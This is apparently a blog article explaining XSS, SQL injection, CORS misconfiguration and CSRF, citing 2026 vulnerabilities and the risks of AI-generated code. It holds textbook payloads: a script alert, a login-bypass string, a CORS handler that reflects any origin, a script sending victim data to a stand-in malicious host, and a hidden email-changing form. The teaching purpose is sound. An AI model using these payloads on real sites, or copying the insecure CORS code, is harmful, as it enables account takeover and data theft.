“The Big 4" of Web Application Attacks: How They Hold Up in 2026?

Table Of Content

Introduction
Web Application Attacks
"The Big 4"
Are They Still Present
Why You Should Be Careful
Conclusion
References

Introduction

In the age where everyone can make web apps in few minutes web security is arguably more important than it ever was. XSS, SQL Injection, CORS and CSRF; even though the ground is shifting when learning about web application security you will always come trough those 4 attacks. While they had their important place in the space should we still be worried about them?

In this article I am going to talk about "The Big 4" of web attacks, what they are, their place in modern sector and why you should still be warry of them.

Web Application Attacks

Web security is the collective term for the security measures, protocols, and practices designed to protect websites, web applications, and servers from cyber threats. At its core, it focuses on safeguarding sensitive data transmitted over the internet from unauthorized access, data breaches, and malicious attacks.

Whether it be client side injection or server side database vulnerabilities web security have a vast range of attacks that could occur. While some could be more recurring then others it can be hard to be mindful of every single attack when trying to secure yourself. For that exact reason we have standards and documentation that helps us with managing security. That's why whenever you learn about web security one thing always pops up, OWASP Top 10.

The OWASP Top 10 is a standard awareness document and reference list published by the OWASP Foundation that highlights the most critical security risks to web applications. Not only it talks about most relevant attacks it also gives examples scenarios and tips on how to prevent those attacks from happening. Being updated every 3–4 years it is undeniable standard in web security.

Besides the OWASP Top 10 some of the attacks are quite infamous with how often they were seen.

"The Big 4"

XSS, SQL Injection, CORS and CSRF those four are arguably most well known attacks in web security. Like we said if you ever search about web security you will most certainly see those attacks almost every single time. Well what exactly are those attacks and what kind of danger do they bring.

Cross Site Scripting (XSS)

XSS — is web attack that allows an attacker to inject malicious client side scripts(e.g. JavaScript) into trusted website view by other users. The injected scripts trigger when a legitimate user interacts with it.

The malicious script could something as simple as sending session cookie information to an attacker who could use that to get access to users account.

Malicious scripts could be inserted URL parameters and be send to a target or they could be injected into website DOM(Document Object Model) and pose a threat to all users who try to access the page with script injected(e.g. comment section).

Usually when you test for this vulnerability you try calling alert() command as it's short, harmless, and pretty hard to miss when it's successfully called.

If you use Chrome newer versions make it so cross-origin iframes are prevented from calling alert(). You may need to use alternate paylaod.

An example of XSS could be if a search bar in website reflects your search query unfiltered as it is. So if you search for "headphone" you will something like that.

As you can see our query is directly reflected in the html. Now if we try to enter some html tag for example <strong> — we will see that those are accepted as part of the webpage and will be reflected as such.

We can check if we execute JavaScript by pasting following payload:

<script> alert("XSS Success") </script>

<script> alert("XSS Success") </script>

With this, we can run any JavaScript code that a developer could run, giving us complete control over the web page and the user's current session.

SQL Injection

SQL Injection — is an attack where an attacker is able to send queries and manipulate websites database due to improper user input sanitization and faulty designs.

By accessing database an attacker could gain access to classified data like users name, password hashes, in some cases even credit card information or could alter or delete part or all of the data in database effectively messing with data integrity. Alternatively he could use this attack as a means to bypass logins and have access to unauthorized accounts.

Attack starts when an attacker sends a special payload in user input(e.g. password, search bar) that allows him to escape SQL query backend is trying to execute and instead executes malicious queries payload has.

When testing for SQL Injection you need to think of backend code lets say we have a login page and SQL query works something like that.

SELECT * FROM Users WHERE username='input1' AND password='input2';

SELECT * FROM Users WHERE username='input1' AND password='input2';

This query tells database to bring user with username and password that matches user input. Disregarding that we save unhashed password in the database if we take user input and just paste it here without sanitizing it could allow for SQL Injection attack to take place.

For example let's say we type administrator' -- in username input and somethin like 123456 in password input. We will get query that looks like that.

SELECT * FROM Users WHERE username='administrator' --' AND password='123456';

SELECT * FROM Users WHERE username='administrator' --' AND password='123456';

As you can see part when we put ' -- symbol at the end we first closed quotes and got out of input space, then by writing double dash we made it so whatever comes after that is commented or in other words doesn't work.

Now query tells database to bring user with username that matches with username field. Basically we can access to any user whose username we know which in this case is administrator.

CORS is a security mechanism built into web browsers that controls how a web application running on one origin (domain, protocol, or port) can request and access resources from a different origin.

CORS Misconfiguration is when the CORS policy is set up way too permissively in a way where a website allows malicious actors to fetch and read information from their origin. This could lead to an attacker getting sensitive information from their target.

For example website source could have something like this:

app.get('/api/user-profile', (req, res) => {
    // MISCONFIGURATION: Dynamically reflecting ANY requested origin
    const clientOrigin = req.headers.origin;

    res.setHeader('Access-Control-Allow-Origin', clientOrigin);
    res.setHeader('Access-Control-Allow-Credentials', 'true'); // Allows session cookies/auth tokens
    ...

app.get('/api/user-profile', (req, res) => {
    // MISCONFIGURATION: Dynamically reflecting ANY requested origin
    const clientOrigin = req.headers.origin;

    res.setHeader('Access-Control-Allow-Origin', clientOrigin);
    res.setHeader('Access-Control-Allow-Credentials', 'true'); // Allows session cookies/auth tokens
    ...

As you can see this website basically allows any origin as it's just reflects the client origin and sets it in "Access-Control-Allow-Origin" Http header.

So if we create a website with following script inside of it:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/api/user-profile',true);
req.withCredentials = true;
req.send();

function reqListener() {
 location='//malicious-website.com/log?key='+this.responseText;
};

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/api/user-profile',true);
req.withCredentials = true;
req.send();

function reqListener() {
 location='//malicious-website.com/log?key='+this.responseText;
};

When an unaware user sends request for our webpage this will work in the background and send us his user profile information which we can access in logs page.

Client Side Request Forgery (CSRF)

Cross-site request forgery (CSRF or XRSF) is a web security vulnerability that tricks an authenticated user into executing unwanted, state-changing actions on a website where they are currently logged in.

The CSRF attack exploits the way browsers traditionally handle cookies. When a request is sent from one website to another, the browser automatically attaches the saved session cookies for that target domain. Because the cookie is present, the target server trusts the request and processes it. An attacker can easily embed hidden forms or scripts inside their malicious website to trigger these requests automatically. With the saved cookie automatically attached, those actions happen completely without the user's knowledge.

Let's say we have webpage like this:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

The moment authenticated user accesses this page his browser will send email change request to our vulnerable target website and since form is hidden user will have no idea that we changed his email. This is another reason why you shouldn't be blindly opening any URL links you see.

Are they still present?

This attacks are still relevant. We can see it by looking at the latest breach news or vulnerabilities found. For example:

In February 2026 an SQL Injection Vulnerability CVE-2026–26980 was addressed in Ghost CMS. Even though the patch was released that same month, widespread failure to update left many systems exposed. In the May of the same year, Chinese vendor QiAnXin XLab reported that a large-scale attack campaign was actively targeting this vulnerability, which ultimately allowed hackers to compromise more than 700 websites.

Similar incident happened with an XSS vulnerability found in On-Prem Microsoft Exchange Server. The vulnerability was added to Known Exploited Vulnerabilities(KEV) on May 9, 2026 as CVE-2026–42897 and patch was released on June 9, 2026. Still it was reported that on July 22, 2026 Russia-aligned threat actor TA488 began a campaign abusing that vulnerability. The campaign targeted US and European government entities, as well as the telecommunications, financial, hospitality, and aerospace sectors.

Even though CSRF attacks are seen less often now thanks to built-in protectors, they are certainly not extinct. This is evident in CVE-2026–62062, a CSRF vulnerability found in the Elementor Website Builder plugin for WordPress. The vulnerability was discovered on September 22, 2026, and patched on September 24, 2026, during which time over 2 million websites were exposed to the threat

Sometimes the time between when vulnerabilities are found and publicly reported can be longer than we think. For example, the CVE-2024–23578 identifier was reserved in January 2024, but the HCL Aftermarket EPC wildcard-CORS flaw was only published in July 2026. This 2.5-year delay could have been fatal if bad actors had independently discovered and exploited the flaw before the public disclosure and official patch rollout.

Why You Should Be Careful

Despite the protection offered by modern frameworks through features like prepared queries and input sanitization, web attacks are still very much alive and well. There are several reasons for their persistent presence, including:

Unpatched Systems: Even when a vulnerability is discovered and a patch is released, many companies still maintain lax patching policies. Failing to apply security patches in a timely manner leads to severe incidents, such as the recent Ghost CMS vulnerability.
The Window of Exposure (Delay Between Patches): Even if a company applies patches diligently, security updates are rarely instantaneous. The inevitable delay between a vulnerability's discovery and the deployment of its patch creates a dangerous window of exposure that puts entire networks and infrastructures at risk.
"Vibe-Coded" Applications: With the rise of AI-generated websites and the popularization of the term "vibe coding," people are putting too much blind trust into AI agents. AI models often optimize for the fastest or easiest solution to a programming problem, which is rarely the most secure one. In fact, recent research shows that 86% of AI-generated code fails basic XSS defense mechanisms, while another study found that a mere 10.5% of AI-generated code successfully passes a rigorous security review.

Conclusion

While 'The Big 4' are quite old and might lead one to think they are products of the past, we can clearly see that they are not obsolete. Taking precautions against them is as important as always. We face long-standing risks like applying patches on time, alongside new ones emerging from the modern era, such as reviewing AI-generated code. However, as different as our methods may be, we still share the same end goal: securing ourselves.

(Disclosure: This article was drafted by the author and polished for grammar, flow, and clarity with the assistance of artificial intelligence tools. All final edits and human verification were completed by the author.)

References

What is Web Security? | IBM Web security encompasses a range of solutions and security policies that organizations rely on to protect their…

Web security and Website Security | Fortinet Learn what web security is, the technologies that power it, and the threats designed to break it. Discover how…

OWASP Top 10 | OWASP Foundation The OWASP Top 10 is the reference standard for the most critical web application security risks. Adopting the OWASP Top…

All topics An overview of all topics, from beginner to expert level, through the Web Security Academy - brought to you by…

Ghost CMS CVE-2026-26980 Exploited to Hijack 700+ Sites for ClickFix Attacks Ghost CMS flaw CVE-2026-26980 enabled attacks on 700+ sites, injecting ClickFix malware through fake CAPTCHA pages.

Cleaning Out Inboxes: TA488 Comes for Outlook with Another Half-Click Exploit | Proofpoint US Threat Research would like to thank the Proofpoint Cloudmark Authority team for their collaboration. Key Findings On 22…

On-Prem Microsoft Exchange Server CVE-2026-42897 Exploited via Crafted Email CVE-2026-42897 is exploited in on-prem Exchange; crafted emails enable spoofing, forcing urgent mitigation.

Cross-Site Request Forgery in Elementor Plugin Affecting 2 Million+ Sites - Patchstack This blog post is about a Cross-Site Request Forgery vulnerability in the Elementor Website Builder plugin. One link…

CVE-2026-62062 - GitHub Advisory Database GitHub is where people build software. More than 225 million people use GitHub to discover, fork, and contribute to…

CVE-2024-23578: Permissive Cross-domain Policy with Untrusted Domains CVE-2024-23578: Permissive Cross-domain Policy with Untrusted Domains. View severity, references, and remediation…

Cybersecurity Risks of AI-Generated Code | Center for Security and Emerging Technology Artificial intelligence models have become increasingly adept at generating computer code. They are powerful and…

Assessing the Quality and Security of AI-Generated Code: A Quantitative Analysis Abstract This study presents a quantitative evaluation of the code quality and security of five prominent Large…

Vibe Coding Security: Why 62% Of AI-Generated Code Ships With Vulnerabilities - OX Security A production application can pass every functional test, deploy successfully to staging, and serve thousands of users…

Contents